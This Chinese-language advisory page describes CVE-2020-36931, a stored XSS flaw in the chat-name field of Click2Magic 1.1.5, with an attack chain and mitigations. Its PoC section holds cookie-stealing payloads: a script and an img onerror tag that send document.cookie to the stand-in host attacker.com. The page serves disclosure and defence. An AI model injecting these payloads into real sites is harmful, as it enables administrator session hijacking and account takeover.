IPBUF安全漏洞报告
English
CVE-2020-36931 CVSS 6.4 中危

CVE-2020-36931 Click2Magic存储型XSS漏洞

披露日期: 2026-01-25

漏洞信息

漏洞编号
CVE-2020-36931
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Click2Magic

相关标签

存储型XSSClick2Magic跨站脚本会话劫持CVE-2020-36931中危漏洞

漏洞概述

CVE-2020-36931是Click2Magic 1.1.5版本中存在的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞允许低权限攻击者在聊天名称输入字段中注入恶意JavaScript脚本。由于该脚本被存储在服务器端,所有访问该聊天记录的用户都会受到攻击。当管理员查看或处理包含恶意脚本的聊天请求时,攻击者注入的脚本会在管理员的浏览器上下文中执行,从而窃取管理员的会话cookies、劫持管理员账户或进行其他恶意操作。此漏洞的CVSS评分为6.4,属于中危级别。攻击向量为网络,认证要求低权限,无需用户交互即可实施攻击。机密性和完整性影响均为低。Click2Magic是一个在线客服和聊天系统,被广泛应用于网站集成用于客户支持。攻击者可以利用此漏洞对网站管理员进行针对性攻击,获取后台管理权限,进而控制整个系统。由于存储型XSS的危害性较高,建议尽快修复此漏洞。

技术细节

Click2Magic 1.1.5版本在处理用户输入的聊天名称时,未对输入内容进行充分的HTML转义和过滤。攻击者可以在聊天名称字段中注入恶意的JavaScript代码,如<script>alert(document.cookie)</script>或更复杂的payload。该恶意脚本会被永久存储在服务器数据库中,当管理员或其他用户查看聊天记录或处理请求时,浏览器会执行这段脚本。攻击者通常会使用document.cookie获取会话cookies,然后将这些信息发送到攻击者控制的服务器,从而实现会话劫持。攻击流程为:1)攻击者注册账户并在聊天名称中注入XSS payload;2)payload存储在数据库中;3)管理员查看用户列表或聊天记录;4)恶意脚本在管理员浏览器中执行;5)管理员cookies被发送到攻击者服务器。修复方案是在所有用户输入点实施输入验证和输出编码,使用HTML实体编码转义特殊字符,或采用内容安全策略(CSP)来限制脚本执行。

攻击链分析

STEP 1
步骤1
攻击者访问Click2Magic注册页面,创建一个新账户
STEP 2
步骤2
攻击者在聊天名称输入字段中注入恶意XSS payload,如<script>恶意代码</script>
STEP 3
步骤3
恶意payload被存储到服务器数据库中,由于缺乏输入过滤,转义不完整
STEP 4
步骤4
管理员登录后台,查看用户列表或处理聊天请求
STEP 5
步骤5
管理员浏览器加载聊天记录时,执行注入的JavaScript代码
STEP 6
步骤6
恶意脚本窃取管理员cookies并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的cookies劫持管理员会话,获取后台管理权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Click2Magic Stored XSS PoC --> <!-- Inject this payload in the chat name field --> <script> // Steal admin cookies var cookies = document.cookie; var attackerServer = 'https://attacker.com/steal'; // Send cookies to attacker fetch(attackerServer + '?c=' + encodeURIComponent(cookies)); </script> <!-- Alternative payload using img tag --> <img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie"> <!-- Simple alert PoC for testing --> <script>alert('XSS Vulnerability Confirmed');</script>

影响范围

Click2Magic 1.1.5

防御指南

临时缓解措施
临时缓解措施:在Web应用层实施输入过滤和输出编码,对所有用户可控的输入字段进行HTML实体转义;部署内容安全策略(CSP)响应头限制内联脚本执行;配置HttpOnly和Secure标志保护cookies;使用WAF规则检测XSS攻击特征并阻止恶意请求;限制低权限用户对敏感功能的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表